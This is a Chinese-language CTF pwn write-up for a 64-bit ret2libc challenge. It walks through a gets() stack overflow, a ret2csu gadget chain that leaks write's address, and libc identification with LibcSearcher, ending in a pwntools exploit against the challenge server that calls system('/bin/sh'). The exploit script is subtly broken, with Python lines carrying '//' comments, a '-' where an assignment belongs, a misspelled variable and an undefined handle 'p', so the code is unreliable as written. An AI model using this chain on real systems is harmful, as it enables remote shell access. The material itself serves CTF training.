0x00
checksec:
64位程序,仅开NX
gdb调试:
有一个输出点和一个输入点
0x01
IDA看一下伪代码
int main()
{
char v4[160];
setvbuf(_bss_start, 0LL, 1, 0LL);
write(1, "[Welcome XCITC-CTF]\nnow,Try Pwn Me?\n", 0x24uLL);
gets(v4);//溢出点
return 0;
}
gets函数存在溢出,无后门函数,无libc。
解题思路:
1-通过调用write函数打印出write函数的真实地址,并二次调用程序
2-用第一步得到的write函数地址泄露出libc版本(与libc库中的write函数地址进行对比,可能有多个符合,逐一尝试)
3-用得到的libc版本计算出libc在程序中的基地址(write函数真实地址-write函数在libc中的相对地址=libc基地址)
4-用libc基地址加上system函数和“/bin/sh”字符串在libc中的偏移地址计算出二者在程序中的真实地址。
5-第二次执行程序,利用栈溢出漏洞劫持程序,调用system(“/bin/sh”),拿到shell
0x02
exp:
from pwn import *
from LibcSearcher import *
context.log_level="debug"
binary="./ret2libc_64"
#sh=process(binary)
sh=remote("pwn.challenge.ctf.show",28055)
elf=ELF(binary)
write_got=elf.got['write']
main_addr=elf.symbols['main']
gadgets1 = 0x4006B6
gadgets2 = 0x4006A0
def csu(r12,r13,r14,r15,ret_addr):
payload = b"A"*(0xA0+0x8)
payload += p64(gadgets1)
payload += b"b"*8
payload += p64(0)
payload += p64(1)
payload += p64(r12) //got
payload += p64(r15) //8
payload += p64(r14) //plt
payload += p64(r13) //1
payload += p64(gadgets2)
payload += b"c"*56
payload += p64(ret_addr)//返回地址-main函数地址
sh.sendline(payload)
sh.recvuntil("Pwn Me?\n")
csu(write_got,1,write_got,8,main_addr)
write_addr = u64(sh.recv(8))//write函数真实地址
libc-LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')//对应第三步
systemm_addr=libc_base+libc.dump('system')//对应第四步
binsh_addr=libc_base+libc.dump('str_bin_sh')//对应第四步
payload=b"A"*(0xA0+0x8)+p64(0x4006c3)+p64(binsh_addr)+p64(system_addr)
p.sendlineafter("Pwn Me?",payload)
p.interactive()
远程运行:
运行后有几个libc版本的write函数地址都和本题一样,逐个尝试即可(此题程序时64位的直接排除掉32位版本的)
此题考察的比较基础,就是一个利用程序现有函数泄露libc版本配合栈溢出实现getshell的操作,麻烦一点的是64位程序需要调用寄存器,学习一点ret2csu即可